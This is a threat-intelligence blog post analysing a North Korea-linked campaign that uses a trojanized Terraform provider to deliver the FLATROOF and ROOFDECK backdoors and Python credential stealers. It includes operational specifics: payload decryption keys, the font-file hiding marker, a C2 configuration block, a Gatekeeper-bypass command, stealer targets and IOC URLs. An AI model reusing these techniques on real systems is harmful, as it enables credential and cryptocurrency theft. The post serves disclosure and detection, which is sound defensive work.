IntroductionIn July 2026, Zscaler ThreatLabz uncovered a campaign linked to TraderTraitor (also tracked as Jade Sleet, UNC4899, Pressure Chollima, and Slow Pisces), an advanced persistent threat actor backed by the North Korean government that has targeted the cryptocurrency industry for years. This campaign also significantly overlaps with the previously reported KelpDAO incident, the analysis of which discussed both FLATROOF and ROOFDECK, two malware families also observed in this campaign. The attackers utilized a trojanized Terraform provider to deliver a Bash loader that selects and downloads malware tailored to the victim's operating system. The FLATROOF malware deployed Python scripts to steal sensitive data from the victim before ultimately dropping the ROOFDECK backdoor to gain full remote control.In this blog, ThreatLabz examines the inner workings of these tools and analyzes the multi-stage infection chain. We also explore how this sophisticated malware conceals and retrieves its final command-and-control (C2) address to evade detection. Key TakeawaysIn July 2026, ThreatLabz discovered a trojanized Terraform provider that executes malicious code as soon as Terraform loads the provider.The trojanized Terraform provider downloads a cross-platform Bash loader from a HashiCorp-themed lookalike domain while preserving normal Terraform behavior.The loader selects payloads for macOS, Linux, and Windows according to the operating system and CPU architecture.Encrypted executables are appended to decoy .woff files and recovered using marker-based extraction and AES-256-CBC decryption.The delivered FLATROOF variant is a Rust-based cross-platform backdoor with platform-specific persistence and redundant C2 channels.The FLATROOF Python stealers target browser credentials, cookies, terminal history, system information, and cryptocurrency wallet extensions.The subsequent backdoor named ROOFDECK uses layered C2 discovery through local configuration, a cryptographically signed Pastebin dead drop, and Nostr profile metadata. Attack ChainThe figure below illustrates the attack chain, from the execution of the trojanized Terraform provider through FLATROOF deployment, data theft, and installation of the ROOFDECK backdoors. Figure 1: Infection chain delivering FLATROOF and ROOFDECK through a trojanized Terraform provider. Technical AnalysisWhile this analysis was being prepared for publication, SentinelLabs independently reported related TraderTraitor activity involving weaponized Terraform projects, FLATROOF, and ROOFDECK malware. Their research provides detailed insight into the social engineering and initial intrusion aspects of the campaign. Our analysis focuses on the internal implementation of the malicious Terraform provider and its cross-platform payload delivery mechanism.Trojanized Terraform providerThe initial payload identified by ThreatLabz is written in Go and named terraform-provider-awsbeta_v1.0.0. It masquerades as an Amazon Web Services (AWS) provider for HashiCorp Terraform. Terraform providers are executable plugins loaded by Terraform to communicate with infrastructure platforms and services. Although it remains unclear how the trojanized Terraform provider was delivered to the victim, Terraform provider binaries execute on developer workstations and CI/CD systems. This suggests that the campaign may target cloud engineers or developers who use Terraform.The binary’s Go symbols reveal a functional provider scaffold under terraform-provider-awsbeta/internal/provider, including example resource and data source implementations. The threat actor added a malicious sibling package named awsbeta and called its exported routine directly from main. As a result, the malicious code executes when Terraform starts the provider.The provider uses a file named session.lock in the system temporary directory as a run-once marker. If the marker is absent, the provider:Determines the temporary directory using TMPDIR, falling back to /tmp.Downloads a second-stage payload over HTTPS.Writes a Bash payload to a file named safari_updater in the temporary directory.Adds executable permissions to the file.Launches it through sh -c as a detached child process.Creates the lock file to prevent repeated execution.The download URL uses the lookalike domain hashicorp-terraform[.]io and a path resembling a legitimate Terraform plugin metrics endpoint. Meanwhile, the provider continues to respond as expected, which may make the compromise less noticeable to the victim.Cross-platform Bash loaderThe downloaded safari_updater file is a Bash script that supports macOS, Linux, and Windows systems running a compatible Unix-like shell environment such as Cygwin, MinGW, or MSYS.The script maps each operating system to a font family and each architecture to a font style to construct the filename for the next-stage payload. Linux uses NotoSansCJK, macOS uses HiraginoSans, and Windows uses the MalgunGothic font name for the next-stage payload. Architectures are represented by style names such as Bold (x86_64, amd64), Regular (aarch64, arm64), ExtraBold (ARMv7, ARMv6), or Italic (32-bit x86). The resulting filename resembles a normal web font file, such as HiraginoSans-Regular.woff on a macOS system with an ARM64 processor. The encrypted payloads are disguised as font files and are downloaded from a public source. For example, a GitHub repository hosting the next-stage payloads is shown in the figure below.Figure 2: Attacker-controlled GitHub repository hosting encrypted payloads disguised as font files.Payloads are written to paths that resemble those of legitimate application components, as listed in the table below. Note that the directories are created if they do not already exist.PlatformPayload PathLinux$HOME/.config/git/updatemacOS$HOME/Library/com.apple.iTunesCloud/SystemUpdateWindows$HOME/AppData/Local/Microsoft/Edge/service.exeTable 1: Operating system-specific payload storage locations for FLATROOF.The loader attempts to download the payload from three sources in sequence: a dynamic DNS host, a GitHub repository, and a Vercel-hosted site. The use of public hosting and URL paths that resemble font caches may help malicious traffic blend with ordinary developer and web activity.Each downloaded .woff file contains decoy font data followed by the marker @@ENDFONT@@ and an encrypted executable. The loader extracts the data after the marker, Base64 decodes it, and decrypts it with AES-256-CBC using the key PTa3WZPQZAjj55t@. To maximize compatibility, the loader can decrypt the payload via Python, Node.js, Perl, or OpenSSL depending on the software that is installed on the infected system. On macOS, the script removes the quarantine attribute using the xattr -d com.apple.quarantine command and applies an ad hoc code signature before execution.FLATROOF cross-platform backdoorThe decrypted payloads for macOS, Linux, and Windows share the same Rust source module layout and core functionality. ThreatLabz assesses that the malware is consistent with the FLATROOF family described in the KelpDAO incident.FLATROOF decrypts its embedded configuration using the key u73adF39ZT with PBKDF2-HMAC-SHA256, followed by AES-256-GCM decryption. The JSON configuration defines platform-specific installation paths, persistence mechanisms, polling intervals, and C2 communication channels, as shown in the example below.{ "aes_key": "a9d932dcfa3289a6", "github_polling_interval": 60, "github_repo": "xxx", "github_token": "ghp_xxx", "init_python_enable": false, "main_base_url": "hxxps://arusupport-region1-webhook[.]online/statics/cache/v11/abicfjej", "main_upload_url": "https://www.example.com", "payload_path_linux": ".config/snap/imagent", "payload_path_macos": "Library/Services/imagent", "payload_path_win": "AppData/Local/Microsoft/Windows/PowerShell/config.exe", "persist_enable": true, "persist_name_linux": "snap-imagent", "persist_name_macos": "imagent", "persist_name_win": "powershell-config-service", "persist_type_linux": "service", "persist_type_macos": "zlogout", "persist_type_win": "reg", "tg_room_id": -1003[redacted]807, "tg_token": "8757853278:[redacted]dKI91AvprMdUkqOLAq37AOKg" }The analyzed variants support three C2 mechanisms:Telegram Bot API for command retrieval and exfiltration of command results or files.GitHub API polling using a configured repository and token (not configured in the variant shown above).An attacker-controlled HTTP webhook for registration and tasking.Not every channel was configured in every sample, but the shared code supports multiple communication channels, providing redundancy and potentially allowing malicious traffic to blend in with traffic to widely used services.FLATROOF also implements platform-specific persistence mechanisms. The configuration references a service on Linux, a shell logout mechanism on macOS, and a registry Run value on Windows. Its command set supports system discovery, process and file management, command execution, payload download, data upload, persistence management, configuration changes, and self-removal.Embedded Python information stealersFLATROOF uses operating system-specific Python scripts to collect and package host and browser artifacts into a compressed archive for exfiltration. The Linux and macOS scripts stage data in temp/collected_data before creating temp/collected_data.zip, while the Windows script archives files from a directory named data into collected_data.zip and removes local staging files afterward.All three scripts target browser profile artifacts that can contain saved credentials, cookies, browsing history, and autofill data:Chromium-based browser databases: History, Cookies, Login Data, and Web DataFirefox browser databases: places.sqlite, cookies.sqlite, logins.json, key4.db, formhistory.sqlite, and addons.jsonCommand and shell historyList of installed applications and running processes, system information, and the current usernameThe scripts also include platform-specific capabilities for stealing sensitive data from each targeted operating system, as shown in the table below.PlatformAdditional CapabilitiesLinuxRetrieves the Chrome Safe Storage secret through the Linux Secret Service, copies local keyring files, and gathers OS and CPU information. macOSCollects Safari history, bookmarks, cookies, and extension names, as well as the user’s login.keychain-db file.WindowsCollects Chrome, Edge, and Brave browser data, Windows Credential Manager entries, PowerShell and Command Prompt history, and locally stored browser extension data for the cryptocurrency wallets MetaMask, Phantom, Trust Wallet, and Rabby. Table 2: Operating system-specific capabilities across Python scripts.Additionally, the Windows script contains two embedded native payloads. The first is a 64-bit Windows executable that is decoded using the XOR key 0x37 and injected into a suspended Chromium process to recover master encryption keys. The recovered keys are saved to [browser name]_aes.txt for staging. The second component, dropped as cookie_copy_tool.exe, copies cookie data when standard database copy operations fail.The Python script’s verbose comments, use of emojis, repetitive exception handling, and inconsistent naming conventions suggest that portions of the code may have been generated or modified with the assistance of a large language model (LLM), as shown in the figure below.Figure 3: Python script showing indications of code generated using AI.ROOFDECK backdoorThreatLabz also identified Windows and macOS variants of ROOFDECK that are likely related to this campaign. ROOFDECK's most distinctive feature is its resilient C2 discovery process. The malware first reads a local configuration file disguised as a legitimate application file. It can then retrieve a Pastebin file containing an encrypted server address and an RSA signature separated by ||.ROOFDECK verifies the signature before decrypting and accepting the server address. This prevents a third party from modifying the Pastebin file to redirect infected systems without the operator’s signing key. If the Pastebin lookup fails, ROOFDECK can query Nostr profile metadata. The malware contains a set of attacker-controlled public identities and relay servers, expands the relay list through a public directory, and reads the website field from profile events. At the time of analysis, an active profile named tulip pointed to the same Pastebin URL embedded in the Windows variant, as shown in the figure below.Figure 4: Attacker-controlled Nostr profile and metadata used to locate the current Pastebin URL for C2 discovery.This layered design provides several ways to obtain the C2 server address:Use the locally stored address.Retrieve a signed and encrypted address from Pastebin.Use Nostr metadata to locate the current dead-drop Pastebin URL.Once the server address is resolved, ROOFDECK communicates with the server over HTTP and WebSocket endpoints.The Windows and macOS variants implement nearly identical functionality, including:Host, process, disk, and filesystem discoveryExecution of individual shell commands and access to an interactive reverse shellFile creation, deletion, movement, compression, download, and uploadClipboard read and write operationsBackground task managementPersistence installation, removal, and status checksChanges to C2 and polling settingsAgent updates, version checks, and destruction Threat AttributionPublic reporting indicates that this campaign targets cryptocurrency and Web3 developers through trojanized developer tools that deliver cross-platform malware—tactics consistent with activity previously attributed to TraderTraitor.Similar campaigns have leveraged trojanized applications, Python packages, and social engineering via fraudulent job offers. The use of FLATROOF and ROOFDECK malware also overlaps with findings reported in the KelpDAO incident.ThreatLabz identified substantial overlap in tactics and targeting with TraderTraitor. However, ThreatLabz has not identified unique code similarities, shared infrastructure, or cryptographic links sufficient to independently attribute this campaign to TraderTraitor with high confidence. ConclusionThis campaign highlights how threat actors abuse trusted developer workflows through trojanized Terraform providers to deliver cross-platform malware across macOS, Linux, and Windows systems. FLATROOF and ROOFDECK provide extensive capabilities for credential theft and persistent access. ROOFDECK also supports resilient C2 discovery through signed Pastebin files and Nostr metadata. Organizations should restrict the use of untrusted Terraform providers, verify provider checksums, and monitor for unexpected process activity to reduce the risk of developer workstation compromise. Zscaler CoverageThe Zscaler Cloud Sandbox has been successful in detecting this campaign and its many variants. The figure below depicts the Zscaler Cloud Sandbox, showing detection details for the malware used in this campaign.Figure 5: Zscaler Cloud Sandbox report for the malware used in this campaign.In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to this campaign at various levels with the following threat names:OSX.Backdoor.FLATROOFOSX.Backdoor.ROOFDECK Indicators Of Compromise (IOCs)Host indicatorsIndicatorFile nameDescription9d78ece09457907b730d139e4e0c64dd terraform-provider-awsbeta_v1.0.0Trojanized Terraform provider73adaea97f003735335505858c1c6def safari_updaterBash script116f7189ed7b41f1b339a749d56e63beHiraginoSans-Bold.woffEncrypted Mach-O 64-bit x86_64 FLATROOFbe60c52ca8a01fef7dc15c2f0ebb77d8HiraginoSans-Regular.woffEncrypted Mach-O 64-bit arm64 FLATROOF58fa0d651898446d5f5d2ed8a27a3330MalgunGothic-Bold.woffEncrypted PE32+ FLATROOF2621753691be9521288664bb551dfba6MalgunGothic-Italic.woffEncrypted PE32 FLATROOFad0b1b6d2c8b9d09d6473a4a299470abNotoSansCJK-Bold.woffEncrypted ELF 64-bit x86-64 FLATROOF4b8509cde757b5428e5f99c8dffe73caNotoSansCJK-ExtraBold.woffEncrypted ELF 32-bit ARM FLATROOF3826dc7a9ba8bd5b1c143560c1530d89NotoSansCJK-Italic.woffEncrypted ELF 32-bit Intel 80386 FLATROOF34a52e6a4d803e94fe497bab682abfd3NotoSansCJK-Regular.woffEncrypted ELF 64-bit ARM aarch64 FLATROOF2b81aceab0142472d94eb42e500b27b1 imagentmacOS version ROOFDECK 9d88b4494c7bc27b10358b68a899ad54 update.exeWindows version ROOFDECKNetwork indicatorsIndicatorDescriptionhxxps://diagnose.hashicorp-terraform[.]io/plugins/grpc/v6/schema/metrics/333afe63-c5a2-43f0-b046-7cbaa7797e8a Bash script download URLhxxps://supportaru.serveftp[.]com/statics/cache/v11/FLATROOF download URLhxxps://raw.githubusercontent[.]com/bluearuhost/hospitalrun-frontend/refs/heads/main/public/fonts/version1/FLATROOF download GitHub URLhxxps://stage-fashion365.vercel[.]app/static/tinymce4.7.5/plugins/fonts/v1104/FLATROOF download URLhxxps://arusupport-region1-webhook[.]online/statics/cache/v11/abicfjejFLATROOF C2 serverhxxps://pastebin[.]com/raw/3yptBDhL ROOFDECK Pastebin URLdelay.servehttp[.]comROOFDECK C2 server MITRE ATT&CK FrameworkIDTechnique NameAnnotationT1059.004Command and Scripting Interpreter: Unix ShellThe Terraform provider launches a Bash loader through sh -c.T1059.006Command and Scripting Interpreter: PythonFLATROOF can deploy and execute an embedded Python stealer.T1546.004Event Triggered Execution: Unix Shell Configuration ModificationFLATROOF selects zlogout persistence on macOS.T1036.005Masquerading: Match Legitimate Resource Name or LocationThe malware poses as a Terraform AWS provider and Safari updater.T1036.008Masquerading: Masquerade File TypeEncrypted executable payloads are distributed as .woff files.T1027.009Obfuscated Files or Information: Embedded PayloadsExecutable content is embedded after the @@ENDFONT@@ marker.T1027.013Obfuscated Files or Information: Encrypted/Encoded FileThe font-contained payload uses Base64 and AES-256-CBC.T1553.001Subvert Trust Controls: Gatekeeper BypassOn macOS, the loader removes the quarantine attribute before launching it.T1553.002Subvert Trust Controls: Code SigningThe macOS loader applies an ad-hoc code signature.T1055.012Process Injection: Process HollowingThe Windows stealer hollows Chrome, Brave, or Edge processes.T1082System Information DiscoveryThe loader identifies the operating system and CPU architecture to select a payload.T1057Process DiscoveryThe stealers enumerate running processes using ps aux or tasklist.T1083File and Directory DiscoveryThe stealers enumerate browser profiles and extension directories.T1518Software DiscoveryThe stealers enumerate installed applications.T1518.001Software Discovery: Security Software DiscoveryFLATROOF checks paths and processes associated with Cortex XDR and Traps.T1217Browser Information DiscoveryThe Python stealers collect browser-related data.T1555.001Credentials from Password Stores: KeychainThe macOS stealer copies the keychain DB file.T1555.004Credentials from Password Stores: Windows Credential ManagerThe Windows stealer enumerates and reads Credential Manager entries.T1552.003Unsecured Credentials: Shell HistoryThe stealers collect shell-history files.T1539Steal Web Session CookieThe stealers collect browser cookie databases.T1115Clipboard DataROOFDECK reads clipboard contents on Windows and macOS.T1560.001Archive Collected Data: Archive via UtilityThe Windows stealer invokes PowerShell Compress-Archive.T1071.001Application Layer Protocol: Web ProtocolsMalware uses HTTP or HTTPS for C2 communication.T1102.001Web Service: Dead Drop ResolverROOFDECK obtains the C2 server address through Pastebin and Nostr.T1008Fallback ChannelsROOFDECK supports fallback from its Pastebin resolver to Nostr.T1573.001Encrypted Channel: Symmetric CryptographyFLATROOF uses an AES-encrypted C2 channel.